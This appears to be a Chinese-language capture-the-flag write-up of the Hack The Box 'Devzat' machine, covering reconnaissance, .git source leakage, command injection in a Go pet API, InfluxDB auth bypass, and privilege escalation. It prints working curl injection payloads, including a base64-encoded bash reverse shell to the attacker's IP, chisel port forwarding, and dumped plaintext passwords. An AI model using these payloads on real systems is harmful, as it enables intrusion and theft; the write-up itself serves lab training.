From: Hack_The_Box
Level: MEDIUM
Connect
开启Devzat靶机,得到IP:10.10.11.118
windows 连接 Hack_The_Box
连接成功后查看本地IP,发现多了一个IP。
能够ping通靶机证明连接成功。
linux 连接 Hack_The_Box
使用openvpn
命令加上.ovpn
后缀文件进行连接,执行后该窗口无法继续执行命令,需要重新启动一个窗口。
查看IP并测试连通性。
注意
*同一个连接文件只能在一个平台使用,不能多个同时使用。*
信息收集
使用nmap进行端口开放信息收集。
nmap -sS -p- 10.10.11.118
使用nmap进行进行服务版本号信息收集。
nmap -sV 10.10.11.118
发现靶机开放
22
、80
、8000
三个端口。
使用nmap配合默认的脚本扫描进行信息收集
nmap --script=default 10.10.11.118
通过
http-title
脚本发现一个提示:Did not follow redirect to http://devzat.htb/
-->没有重定向到 http://devzat.htb/
Web信息收集
听过nmap扫描发现网站域名为devzat.htb
,将其添加到hosts文件中。
*Devzat主页*
从页面中我们可以获取到一些有用的信息
- 电子邮件:
[email protected]
- 可能的用户名是
patrick
- SSH服务器和服务可用
ssh -l [username] devzat.htb -p 8000
目录扫描
```
dirb http://devzat.htb/
没有收获
```
```
nikto -h http://devzat.htb/
没有收获
```
子域名爆破
Download: ffuf
也可以直接 apt-get install ffuf
爆破字典: *subdomains-top1million-110000.txt*
```
./ffuf -w ../subdomainstop1million-110000.txt.txt -u http://devzat.htb/ -H "Host:FUZZ.devzat.htb"
-u url地址
-w 设置字典
-H Header头,格式为 “Name: Value”
-fc : 按状态码过滤
```
爆破得到
http://pets.devzat.htb
域名
这是一个宠物库存页面,我们也可以添加宠物的名字。但是好像没有什么可以利用的地方。
.git
源码泄露
*继续爆破目录*,扫描到了.git目录,似乎存在git源码泄露。
下载该目录下所有文件
```
wget -r -np -R "index.html*" http://pets.devzat.htb/.git
-r, –recursive 递归下载
-np, –no-parent 不追溯到父目录
-R, –reject=LIST 分号分隔的不被接受的扩展名的列表
```
使用 git status
来检查 git 存储库。
```
(rootkali2021)-[~/pets.devzat.htb]
git status | tee git-status-output
位于分支 master
尚未暂存以备提交的变更:
(使用 "git add/rm <文件>..." 更新要提交的内容)
(使用 "git restore <文件>..." 丢弃工作区的改动)
删除: .gitignore
删除: characteristics/bluewhale
删除: characteristics/cat
删除: characteristics/dog
删除: characteristics/giraffe
删除: characteristics/gopher
删除: characteristics/petshop
删除: characteristics/redkite
删除: go.mod
删除: go.sum
删除: main.go
删除: petshop
删除: start.sh
删除: static/.gitignore
删除: static/README.md
删除: static/package.json
删除: static/public/css/all.min.css
删除: static/public/css/bootstrap.min.css
删除: static/public/css/global.css
删除: static/public/favicon.ico
删除: static/public/index.html
删除: static/public/webfonts/fa-brands-400.eot
删除: static/public/webfonts/fa-brands-400.svg
删除: static/public/webfonts/fa-brands-400.ttf
删除: static/public/webfonts/fa-brands-400.woff
删除: static/public/webfonts/fa-brands-400.woff2
删除: static/public/webfonts/fa-regular-400.eot
删除: static/public/webfonts/fa-regular-400.svg
删除: static/public/webfonts/fa-regular-400.ttf
删除: static/public/webfonts/fa-regular-400.woff
删除: static/public/webfonts/fa-regular-400.woff2
删除: static/public/webfonts/fa-solid-900.eot
删除: static/public/webfonts/fa-solid-900.svg
删除: static/public/webfonts/fa-solid-900.ttf
删除: static/public/webfonts/fa-solid-900.woff
删除: static/public/webfonts/fa-solid-900.woff2
删除: static/rollup.config.js
删除: static/src/App.svelte
删除: static/src/main.js
未跟踪的文件:
(使用 "git add <文件>..." 以包含要提交的内容)
git-status-output
robots.txt
修改尚未加入提交(使用 "git add" 和/或 "git commit -a")
```
从
git status
中,我们知道开发者删除了一些文件。
使用get reset
查看历史提交记录。
```
(rootkali2021)-[~/pets.devzat.htb]
git reset
重置后取消暂存的变更:
D .gitignore
D characteristics/bluewhale
D characteristics/cat
D characteristics/dog
D characteristics/giraffe
D characteristics/gopher
D characteristics/petshop
D characteristics/redkite
D go.mod
D go.sum
D main.go
D petshop
D start.sh
D static/.gitignore
D static/README.md
D static/package.json
D static/public/css/all.min.css
D static/public/css/bootstrap.min.css
D static/public/css/global.css
D static/public/favicon.ico
D static/public/index.html
D static/public/webfonts/fa-brands-400.eot
D static/public/webfonts/fa-brands-400.svg
D static/public/webfonts/fa-brands-400.ttf
D static/public/webfonts/fa-brands-400.woff
D static/public/webfonts/fa-brands-400.woff2
D static/public/webfonts/fa-regular-400.eot
D static/public/webfonts/fa-regular-400.svg
D static/public/webfonts/fa-regular-400.ttf
D static/public/webfonts/fa-regular-400.woff
D static/public/webfonts/fa-regular-400.woff2
D static/public/webfonts/fa-solid-900.eot
D static/public/webfonts/fa-solid-900.svg
D static/public/webfonts/fa-solid-900.ttf
D static/public/webfonts/fa-solid-900.woff
D static/public/webfonts/fa-solid-900.woff2
D static/rollup.config.js
D static/src/App.svelte
D static/src/main.js
```
使用git checkout -- .
命令将存储库重置为上次提交状态。
检查源代码main.go
源码如下:
```
package main
import (
"embed"
"encoding/json"
"fmt"
"io/fs"
"io/ioutil"
"log"
"net/http"
"os/exec"
"time"
)
//go:embed static/public
var web embed.FS
//go:embed static/public/index.html
var index []byte
type Pet struct {
Name string json:"name"
Species string json:"species"
Characteristics string json:"characteristics"
}
var (
Pets []Pet = []Pet{
{Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},
{Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},
{Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},
{Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},
{Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},
{Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},
{Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},
{Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},
}
)
func loadCharacter(species string) string {
cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
stdoutStderr, err := cmd.CombinedOutput()
if err != nil {
return err.Error()
}
return string(stdoutStderr)
}
func getPets(w http.ResponseWriter, r *http.Request) {
json.NewEncoder(w).Encode(Pets)
}
func addPet(w http.ResponseWriter, r *http.Request) {
reqBody, _ := ioutil.ReadAll(r.Body)
var addPet Pet
err := json.Unmarshal(reqBody, &addPet)
if err != nil {
e := fmt.Sprintf("There has been an error: %+v", err)
http.Error(w, e, http.StatusBadRequest)
return
}
addPet.Characteristics = loadCharacter(addPet.Species)
Pets = append(Pets, addPet)
w.WriteHeader(http.StatusOK)
fmt.Fprint(w, "Pet was added successfully")
}
func handleRequest() {
build, err := fs.Sub(web, "static/public/build")
if err != nil {
panic(err)
}
css, err := fs.Sub(web, "static/public/css")
if err != nil {
panic(err)
}
webfonts, err := fs.Sub(web, "static/public/webfonts")
if err != nil {
panic(err)
}
spaHandler := http.HandlerFunc(spaHandlerFunc)
// Single page application handler
http.Handle("/", headerMiddleware(spaHandler))
// All static folder handler
http.Handle("/build/", headerMiddleware(http.StripPrefix("/build", http.FileServer(http.FS(build)))))
http.Handle("/css/", headerMiddleware(http.StripPrefix("/css", http.FileServer(http.FS(css)))))
http.Handle("/webfonts/", headerMiddleware(http.StripPrefix("/webfonts", http.FileServer(http.FS(webfonts)))))
http.Handle("/.git/", headerMiddleware(http.StripPrefix("/.git", http.FileServer(http.Dir(".git")))))
// API routes
apiHandler := http.HandlerFunc(petHandler)
http.Handle("/api/pet", headerMiddleware(apiHandler))
log.Fatal(http.ListenAndServe("127.0.0.1:5000", nil))
}
func spaHandlerFunc(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write(index)
}
func petHandler(w http.ResponseWriter, r *http.Request) {
// Dispatch by method
if r.Method == http.MethodPost {
addPet(w, r)
} else if r.Method == http.MethodGet {
getPets(w, r)
} else {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
}
// TODO: Add Update and Delete
}
func headerMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Add("Server", "My genious go pet server")
next.ServeHTTP(w, r)
})
}
func main() {
resetTicker := time.NewTicker(5 * time.Second)
done := make(chan bool)
go func() {
for {
select {
case <-done:
return
case <-resetTicker.C:
// Reset Pets to prestaged ones
Pets = []Pet{
{Name: "Cookie", Species: "cat", Characteristics: loadCharacter("ca
{Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")
{Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog
{Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog"
{Name: "Georg", Species: "gopher", Characteristics: loadCharacter("
{Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter
{Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("
{Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacte
}
}
}
}()
handleRequest()
time.Sleep(500 * time.Millisecond)
resetTicker.Stop()
done <- true
}
```
命令注入漏洞
对源代码进行审计,发现该程序的/api/pet
目录下可能受到命令注入的攻击。
使用curl进行页面请求,由于页面没有反映响应,所有可以使用ping命令进行测试,然后使用wireshark进行数据分析验证可以执行。
curl -v -X POST "http://pets.devzat.htb/api/pet" -d '{"name":"test1","species":"cat;ping -c 3 10.10.14.23"}'
证明存在命令注入漏洞。
回弹shell
这里我们使用bash -i
来反弹权限,为了报纸命令传输的准确性,可以使用base64对反弹shell命令进行加密,再在靶机中解密。
```
(rootkali2021)-[~/pets.devzat.htb]
echo -n "bash -i >& /dev/tcp/10.10.14.23/4484 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMy80NDg0IDA+JjE=
```
Kali开启4484端口监听。
nc -lvp 4484
再次使用curl进行命令注入。
curl -v -X POST "http://pets.devzat.htb/api/pet" -d '{"name":"test1","species":"cat;echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMy80NDg0IDA+JjE= | base64 -d | bash"}'
成功回弹shell。
User.txt
进入靶机后,查看user.txt
文件所在位置,并尝试读取user.txt
。
patrick@devzat:~/pets$ find / -type f -name "user.txt" -ls 2>/dev/null
发现该文件在catherine
用户下,无法访问。
由于没有patrick
用户的密码,因此尝试寻找是否存在ssh
密钥。
find / -type f -name "authorized_keys" -ls 2>/dev/null
使用 patrick
ssh 密钥 ssh 到靶机。
首先先将id_rsa
复制到攻击机中,然后将id_rsa
权限修改为600,最后使用ssh -i id_rsa
进行连接。
枚举系统
执行手动枚举,检查 netstat 的网络连接。
netstat -tulnp
有一些奇怪的端口绑定 - 8086 和 8443,使用端口搜索进程。
ps -aux | grep 8086
ps -aux | grep 8443
但是,只能得到使用 8086 的进程
由于8086端口是在本地上运行的,因此需要使用端口转发。
端口转发
可以使用chisel工具将端口转发回我们的攻击者机器。
首先将凿子上传到 patrick 主目录。
scp -i id_rsa chisel [email protected]:/home/patrick
在攻击机上,使用以下命令启动chisel服务器
chisel server -p 8000 --reverse
在 patrick ssh 会话中启动 chisel 客户端连接回我们的攻击机 chisel 服务器,端口将 8086 转发到我们的攻击机 localhost 8086。
./chisel client 10.10.14.23:8000 R:8086:127.0.0.1:8086
使用nmap测试是否连接成功。
nmap -sV 127.0.0.1
从 nmap 结果来看,8086 端口正在运行
InfluxDB http
服务。
通过信息收集,发现InfluxDB存在身份验证绕过漏洞(CVE-2019-20933)
CVE-2019_20933
按照说明安装所有要求。
git clone https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933.git
cd InfluxDB-Exploit-CVE-2019-20933
pip install -r requirements.txt
此时需要爆破用户名的字典,使用names.txt
爆破数据库,InfluxDB数据库注入
显示数据库中所有可用表
SHOW MEASUREMENTS
显示数据表中所有数据
```
select * from "user"
[devzat] Insert query (exit to change db): select * from "user"
{
"results": [
{
"series": [
{
"columns": [
"time",
"enabled",
"password",
"username"
],
"name": "user",
"values": [
[
"2021-06-22T20:04:16.313965493Z",
false,
"WillyWonka2021",
"wilhelm"
],
[
"2021-06-22T20:04:16.320782034Z",
true,
"woBeeYareedahc7Oogeephies7Aiseci",
"catherine"
],
[
"2021-06-22T20:04:16.996682002Z",
true,
"RoyalQueenBee$",
"charles"
]
]
}
],
"statement_id": 0
}
]
}
```
从 InfluxDB 数据库中获取到一些用户密码,尝试登录这些用户。
通过测试,发现只有catherine用户可以成功登录。
成功得到User.txt
Root.txt
为了读取root.txt
文件,需要提权到root权限。
检查sudo和suid,没有可以利用的。
catherine@devzat:~$ find / -perm -u=s 2>/dev/null
/snap/core18/2128/bin/mount
/snap/core18/2128/bin/ping
/snap/core18/2128/bin/su
/snap/core18/2128/bin/umount
/snap/core18/2128/usr/bin/chfn
/snap/core18/2128/usr/bin/chsh
/snap/core18/2128/usr/bin/gpasswd
/snap/core18/2128/usr/bin/newgrp
/snap/core18/2128/usr/bin/passwd
/snap/core18/2128/usr/bin/sudo
/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2128/usr/lib/openssh/ssh-keysign
/snap/core18/2074/bin/mount
/snap/core18/2074/bin/ping
/snap/core18/2074/bin/su
/snap/core18/2074/bin/umount
/snap/core18/2074/usr/bin/chfn
/snap/core18/2074/usr/bin/chsh
/snap/core18/2074/usr/bin/gpasswd
/snap/core18/2074/usr/bin/newgrp
/snap/core18/2074/usr/bin/passwd
/snap/core18/2074/usr/bin/sudo
/snap/core18/2074/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2074/usr/lib/openssh/ssh-keysign
/snap/snapd/13170/usr/lib/snapd/snap-confine
/snap/snapd/12398/usr/lib/snapd/snap-confine
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
catherine@devzat:~$ sudo -l
[sudo] password for catherine:
Sorry, user catherine may not run sudo on devzat.
经过一段时间的枚举,发现 /var/backups
目录下有一些的备份文件。
复制两个压缩文件到/home/catherine
目录下,然后进行解压。
使用diff
命令查看两目录下commands.go
文件的区别
```
catherine@devzat:~$ diff dev/commands.go main/commands.go
4d3
< "bufio"
6,7d4
< "os"
< "path/filepath"
40d36
< file = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil}
42,101c38
< commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode, file}
< }
<
< func fileCommand(u *user, args []string) {
< if len(args) < 1 {
< u.system("Please provide file to print and the password")
< return
< }
<
< if len(args) < 2 {
< u.system("You need to provide the correct password to use this function")
< return
< }
<
< path := args[0]
< pass := args[1]
<
< // Check my secure password
< if pass != "CeilingCatStillAThingIn2021?" {
< u.system("You did provide the wrong password")
< return
< }
<
< // Get CWD
< cwd, err := os.Getwd()
< if err != nil {
< u.system(err.Error())
< }
<
< // Construct path to print
< printPath := filepath.Join(cwd, path)
<
< // Check if file exists
< if , err := os.Stat(printPath); err == nil {
< // exists, print
< file, err := os.Open(printPath)
< if err != nil {
< u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))
< return
< }
< defer file.Close()
<
< scanner := bufio.NewScanner(file)
< for scanner.Scan() {
< u.system(scanner.Text())
< }
<
< if err := scanner.Err(); err != nil {
< u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))
< }
<
< return
<
< } else if os.IsNotExist(err) {
< // does not exist, print error
< u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))
< return
< }
< // bokred?
< u.system("Something went badly wrong.")
commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode}
```
可以看出dev
环境使用带密码保护的文件命令实现文件读取功能,dev
环境在 localhost 端口 8443 上运行,因此从使用 patrick 帐户的初始枚举无法检查运行 8443 的进程。
此时再次使用chisel
进行端口转发。
```
kali
chisel server -p 8001 --reverse
靶机
./chisel client 10.10.14.23:8001 R:8443:127.0.0.1:8443
```
nmap扫描进行验证。
ssh连接服务。
ssh localhost -p 8443
使用/file
来读取想要读取的文件,读取文件时需要密码,通过前面diff得到的密码CeilingCatStillAThingIn2021?
进行读取,首先尝试读取/root/root.txt
文件,发现可以读取,但是现实文件不存在,后面重新尝试使用相对路径成功读取。
成功读取root.txt文件。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论